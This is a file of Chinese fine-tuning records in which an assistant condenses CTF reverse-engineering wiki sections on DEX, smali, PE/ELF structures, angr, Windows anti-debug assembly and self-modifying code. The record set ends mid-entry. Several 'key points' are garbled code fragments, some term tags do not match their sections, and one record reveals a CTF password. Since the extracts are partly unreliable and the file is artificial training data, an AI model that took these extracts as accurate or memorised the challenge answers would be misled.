{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-589068a0449fa9a018b8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/dex/dex.md` 中的章节「method id」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/dex/dex.md`\n标题：DEX文件\n章节：DEX文件 > DEX 文件格式 > DEX 索引区 > method id\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- method id区是直接为 java 中的方法而设计的，其包含了方法所在的类，方法的原型，方法的名字。\n- ``c++ struct DexMethodId { u2 classIdx;\n- / 类的类型，指向DexTypeId列表的索引 / u2 protoIdx;\n- / 声明类型，指向DexProtoId列表的索引 / u4 nameIdx;\n- / 方法名， 指向DexStringId列表的索引 / };\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- dex\n- code:c++\n\n代码/命令片段线索：\n- c++: 5 行，首行 `struct DexMethodId {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 216, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "method id", "heading_path": ["DEX文件", "DEX 文件格式", "DEX 索引区", "method id"], "original_id": "docs-3c22f1d06f596f0b9eb6", "original_line": 34, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "source_root": "docs", "source_sha256": "02e4e7a9ad1994a3eb6f19cb46b69151a53fab27ed230dc7be1d864947ae6323", "split": "train", "split_group_key": "d1055cd9f9f70d3ec8c0ef61", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "dex", "code:c++"], "title": "DEX文件"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-5903b40bd72e41687932", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：Smali > 介绍\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 借助 apktool、baksmali 等工具，研究人员可以将 dex 文件反汇编为多个 smali 文件进行分析。\n- 需要注意的是，这些寄存器并非真实 CPU 寄存器，运行时可能被映射到 CPU 寄存器、栈帧或其他内存位置，具体实现由运行时系统决定。\n- Android Java/Kotlin 代码最终会被编译为 dex 字节码，由 Dalvik 或 ART 运行时加载执行。\n- 一般情况下，一个 smali 文件对应一个 Java 类（包括内部类、匿名类等生成的独立类文件）。\n- Dalvik/ART 采用基于寄存器的虚拟机架构，因此 smali 指令主要围绕虚拟寄存器展开。\n\n关键术语：\n- 栈\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 619, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "介绍", "heading_path": ["Smali", "介绍"], "original_id": "docs-750c1656167f1acf115a", "original_line": 38, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "1260958120a79d7f13b10e18", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["栈", "Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-5aca9f66a45ce311fd8d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「查看程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2014 tinyCTF Ooooooh! What does this button do > 查看程序\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“查看程序”展开。\n- ``java class C00721 implements OnClickListener { C00721() { } public void onClick(View view) { if (((EditText) MainActivity.this.findViewById(C0073R.id.passwordField)).getText().toString().compareTo(\"EYG3QMCS\") == 0) { MainActivity.this.startActivity(new In...\n- } } } `` 在主程序中，可以发现，如果我们输入的字符串为EYG3QMCS就会执行flagActivity.class。\n- 那么我们输入一下，可以得到如下结果 [图片文件: ./figure/2014-tinyCTF-flag.png] 即得到flag。\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-reverse\n- static\n- java-example.md\n- code:java\n\n代码/命令片段线索：\n- java: 9 行，首行 `class C00721 implements OnClickListener {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 446, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "查看程序", "heading_path": ["静态分析 java 层例子", "2014 tinyCTF Ooooooh! What does this button do", "查看程序"], "original_id": "docs-70a978c3c7332f8cf6f7", "original_line": 89, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "cd8470d21dd0ae926c551af0", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "AI安全", "android", "basic-reverse", "static", "java-example.md", "code:java"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-5cc79856919950b7c332", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-import-table.md` 中的章节「绑定导入」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-import-table.md`\n标题：导入表\n章节：导入表 > 绑定导入\n路径分类：executable / executable/pe/pe-import-table.md\n分块：1/1\n\n核心知识点：\n- 总的来说，Windows 在装载目标 PE 文件相关的动态链接库时，会首先检查这些地址是否正确合法，包括检查当前系统的 DLL 版本是否符合绑定导入结构中描述的版本号哦，如果不符合或者 DLL 需要被重新定位，装载器就会遍历 OriginalFirstThunk 指向的数组计算新的地址，并将新的地址写入到 IAT 中。\n- 假定 PE 装载前对 IAT 的修正都是正确的，那么运行时就省去了修正的步骤；\n- 如果一个 PE 文件要导入的函数很多，那么在装载时就会占用一部分时间来完成函数导入，这会使得 PE 的装载时间变长。\n- 但是在 Windows 的不同系统中动态链接库的基址是不同的，这样就导致绑定的地址出错而导致程序无法运行。\n- 同样 PE 装载有检错机制，如果检测出错误，PE 加载器会在装载时重新对 IAT 进行修正。\n- 它只影响加载的过程，并不影响 PE 最终的加载结果和运行结果。\n\n关键术语：\n- executable\n- pe\n- pe-import-table.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 514, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "绑定导入", "heading_path": ["导入表", "绑定导入"], "original_id": "docs-90fa03dd0ed09b99a4fd", "original_line": 501, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-import-table.md", "source_root": "docs", "source_sha256": "a5ea0a910c664c6f80a0f71461581d097028d332a4da25277401b1159e2cedd0", "split": "train", "split_group_key": "2058338d803f7724e2292052", "subcategory": "executable/pe/pe-import-table.md", "terms": ["executable", "pe", "pe-import-table.md"], "title": "导入表"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-import-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-620376599a1a7b86cc28", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/symbol-table.md` 中的章节「符号取值」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/symbol-table.md`\n标题：.symtab: Symbol Table\n章节：.symtab: Symbol Table > 符号取值\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“符号取值”展开。\n- 符号表取值在不同的目标文件中具有相似的含义，可以有适当的程序可以采取高效的方法来访问数据。\n- 不同的目标文件类型对符号表项中 st_value 成员的解释不同： - 在可重定位文件中，st_value 保存了节区索引为 SHN_COMMON 的符号的对齐约束。\n- 也就是说，st_value保留了st_shndx 所标识的节区的头部到符号位置的偏移。\n- 为了使得这些文件的符号对动态链接器更有用，节区偏移（针对文件的解释）给出了与节区号无关的虚拟地址（针对内存的解释）。\n- 在可重定位文件中，st_value 保存了已定义符号的节区偏移。\n\n关键术语：\n- executable\n- elf\n- structure\n- symbol-table.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 300, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "符号取值", "heading_path": [".symtab: Symbol Table", "符号取值"], "original_id": "docs-76c21e91d6aa6ce2c72f", "original_line": 488, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "source_root": "docs", "source_sha256": "56c62270fa50835f2a86e5d488beca1590d3bcbe520738020641a39ef2fc28d2", "split": "train", "split_group_key": "688ed16b2e0c3285b9fc425d", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "symbol-table.md"], "title": ".symtab: Symbol Table"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-635fb543466c1f7da9f9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「state - 模拟执行状态」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > 基本用法 > Project > factory - 实用类工厂 > state - 模拟执行状态\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“state - 模拟执行状态”展开。\n- state.mem：该状态的内存访问接口，我们可以直接通过 state.mem[addr].type 完成内存访问（例如 state.mem[0x1000].long = 4 ，对于读而言还需指定 .resolved 或 .concrete 表示位向量或是实际值，例如 state.mem[0x1000].long.concrete）。\n- 我们使用 project.factory.entry_state() 获取一个程序的初始执行状态，使用 project.factory.blank_state(addr) 获取一个程序从指定地址开始执行的空白状态： ``python >>> state = proj.factory.entry_state() >>> state = proj.factory.blank_state(0xdeadbeef) ` - state.regs：寄存器状态组，其中每个寄存器都为一个 _位向量_ （BitVector），...\n- state.memory：另一种形式的内存访问接口： - state.memory.load(addr, size_in_bytes) ：获取该地址上指定大小的位向量。\n- state.memory.store(addr, bitvector) ：将一个位向量存储到指定地址。\n- state.posix：POSIX 相关的环境接口，例如 state.posix.dumps(fileno) 获取对应文件描述符上的流。\n\n关键术语：\n- reverse\n- tools\n- simulate-execution\n- angr.md\n- code:python\n\n代码/命令片段线索：\n- python: 2 行，首行 `>>> state = proj.factory.entry_state()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 890, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "state - 模拟执行状态", "heading_path": ["angr", "基本用法", "Project", "factory - 实用类工厂", "state - 模拟执行状态"], "original_id": "docs-dc71d60b7a23bb7db1b0", "original_line": 1562, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "57be0d1202e758ba4e7da89c", "subcategory": "reverse/tools/simulate-execution", "terms": ["reverse", "tools", "simulate-execution", "angr.md", "code:python"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-649b5b1dfc0d1aaaea4c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「java2smali」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > java2smali\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“java2smali”展开。\n- java代码如下 ``java public class MainActivity extends Activity implements View.OnClickListener { private String TAG = \"MainActivity\";\n- } public static void log(int result) { Log.d(\"MainActivity\", \"the result:\" + result);\n- } } ` 其对应的smali代码如下 ``smali #文件头描述 .class public Lcom/social_touch/demo/MainActivity;\n- 该例子来自于http://blog.csdn.net/dd864140130/article/details/52076515。\n- setContentView(R.layout.activity_main);\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n\n代码/命令片段线索：\n- java: 28 行，首行 `public class MainActivity extends Activity implements View.OnClickListener {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1038, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "java2smali", "heading_path": ["interfaces", "java2smali"], "original_id": "docs-c6f268717db389d8a57d", "original_line": 4, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "57c51d8eaf3f5a9a8130d75b", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "AI安全", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-649f24b741797f1b5c1c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「定位关键代码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2014 Sharif University Quals CTF Commercial Application > 定位关键代码\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“定位关键代码”展开。\n- } View inflate = LayoutInflater.from(context).inflate(C0080R.layout.propmt, null);\n- MainActivity.this.showAlertDialog(context, MainActivity.OK_LICENCE_MSG);\n- } MainActivity.this.showAlertDialog(context, MainActivity.NOK_LICENCE_MSG);\n- Please try again with another.\";\n- MainActivity.isRegisterd = true;\n\n关键术语：\n- ROP/JOP\n- Android逆向\n- AI安全\n- android\n- basic-reverse\n- static\n- java-example.md\n- code:java\n\n代码/命令片段线索：\n- java: 24 行，首行 `public static final String NOK_LICENCE_MSG = \"Your licence key is incorrect...! Please try again with another.\";`\n- java: 1 行，首行 `KeyVerifier.isValidLicenceKey(editText.getText().toString(), MainActivity.this.app.getDataHelper().getConfig().getSec...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1626, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "定位关键代码", "heading_path": ["静态分析 java 层例子", "2014 Sharif University Quals CTF Commercial Application", "定位关键代码"], "original_id": "docs-817a9154ebbbe9fc90e7", "original_line": 92, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "703a8f54cffd455258d47b10", "subcategory": "android/basic_reverse/static", "terms": ["ROP/JOP", "Android逆向", "AI安全", "android", "basic-reverse", "static", "java-example.md", "code:java"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-659c8fab0b4c94fc018a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「hashcode」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2015-0CTF-vezel > hashcode\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“hashcode”展开。\n- } catch (PackageManager.NameNotFoundException e) { e.printStackTrace();\n- public class MainActivity extends AppCompatActivity { private StringBuilder builder;\n- setContentView(R.layout.activity_main);\n- I/hashcode: -183971537 `` 注：其实这个程序可以写成一个小的app，很多程序都会计算签名。\n- 随便找了个（放在对应的example文件夹下） `` package com.iromise.getsignature;\n\n关键术语：\n- 栈\n- Android逆向\n- AI安全\n- android\n- basic-reverse\n- static\n- java-example.md\n\n代码/命令片段线索：\n- plain: 23 行，首行 `package com.iromise.getsignature;`\n- plain: 1 行，首行 `07-18 11:05:11.895 16124-16124/? I/hashcode: -183971537`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 966, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "hashcode", "heading_path": ["静态分析 java 层例子", "2015-0CTF-vezel", "hashcode"], "original_id": "docs-ade3afab1e09198cdfa1", "original_line": 96, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "796b9a68949a382b08b27f4a", "subcategory": "android/basic_reverse/static", "terms": ["栈", "Android逆向", "AI安全", "android", "basic-reverse", "static", "java-example.md"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-6973fb5a3a8ba99b7116", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/checkremotedebuggerpresent.md` 中的章节「检测代码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/checkremotedebuggerpresent.md`\n标题：CheckRemoteDebuggerPresent\n章节：CheckRemoteDebuggerPresent > 检测代码\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“检测代码”展开。\n- 可以用以下32位代码检测32位环境 `` asm push eax push esp push -1 ;\n- GetCurrentProcess() call CheckRemoteDebuggerPresent pop eax test eax, eax jne being_debugged ` 或64位代码检测64位环境 ` asm enter 20h, 0 mov edx, ebp or rcx, -1 ;\n- GetCurrentProcess() call CheckRemoteDebuggerPresent leave test ebp, ebp jne being_debugged ``\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `或64位代码检测64位环境`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 307, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "检测代码", "heading_path": ["CheckRemoteDebuggerPresent", "检测代码"], "original_id": "docs-e4de34ec9971cd92732e", "original_line": 1502, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/checkremotedebuggerpresent.md", "source_root": "docs", "source_sha256": "5b3b4bd48996b82237ce5088b0a21604cfe4bfa4e6a6aa41cc2ec9558fc76753", "split": "train", "split_group_key": "e84fa63d99bc0fdaacece3a9", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "CheckRemoteDebuggerPresent"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/checkremotedebuggerpresent.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-6a8ca71ac8c6a0e97ebc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/ntqueryinformationprocess.md` 中的章节「ProcessDebugPort」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/ntqueryinformationprocess.md`\n标题：NtQueryInformationProcess\n章节：NtQueryInformationProcess > ProcessDebugPort\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- ProcessDebugPort(7)是其中的一个信息类. kernel32的CheckRemoteDebuggerPresent()函数内部通过调用NtQueryInformationProcess()来检测调试, 而NtQueryInformationProcess内部则是查询EPROCESS结构体的DebugPort字段, 当进程正在被调试时, 返回值为0xffffffff. 可以用以下32位代码在32位环境进行检测: `` asm push eax mov eax, esp push 0 push 4 ;\n- 未公开的ntdll的NtQueryInformationProcess()函数接受一个信息类的参数用于查询.\n- GetCurrentProcess() call NtQueryInformationProcess pop eax inc eax je being_debugged ` 用以下64位代码在64位环境进行检测: ` asm xor ebp, ebp enter 20h, 0 push 8 ;\n- GetCurrentProcess() call NtQueryInformationProcess leave test ebp, ebp jne being_debugged `` 由于信息传自内核, 所以在用户模式下的代码没有轻松的方法阻止该函数检测调试器.\n- ProcessInformationLength push eax push 7 ;\n- ProcessInformationLength pop r9 push rbp pop r8 push 7 ;\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `用以下64位代码在64位环境进行检测:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 785, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "ProcessDebugPort", "heading_path": ["NtQueryInformationProcess", "ProcessDebugPort"], "original_id": "docs-78425f1284bfa31d16db", "original_line": 1529, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntqueryinformationprocess.md", "source_root": "docs", "source_sha256": "0a310c18d604be10c56ee2d1d2fbb3ababf64c326a45c7830ea6cbd15bd863ee", "split": "train", "split_group_key": "869d1ed85ce9ed5c62615752", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "NtQueryInformationProcess"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntqueryinformationprocess.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-6aed8633ff7f34653923", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/obfuscate/smc.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/obfuscate/smc.md`\n标题：Self-Modified Code\n章节：Self-Modified Code > 简介\n路径分类：reverse / reverse/obfuscate/smc.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- 自修改代码（Self-Modified Code）是一类特殊的代码技术，即在运行时修改自身代码，从而使得程序实际行为与反汇编结果不符，同时修改前的代码段数据也可能非合法指令，从而无法被反汇编器识别，这加大了软件逆向工程的难度。\n- 自修改代码通常有两种破解方式，第一种是根据静态分析结果直接修改程序二进制文件，第二种则是在动态调试时将解密后的程序从内存中 dump 下来。\n\n关键术语：\n- reverse\n- obfuscate\n- smc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": 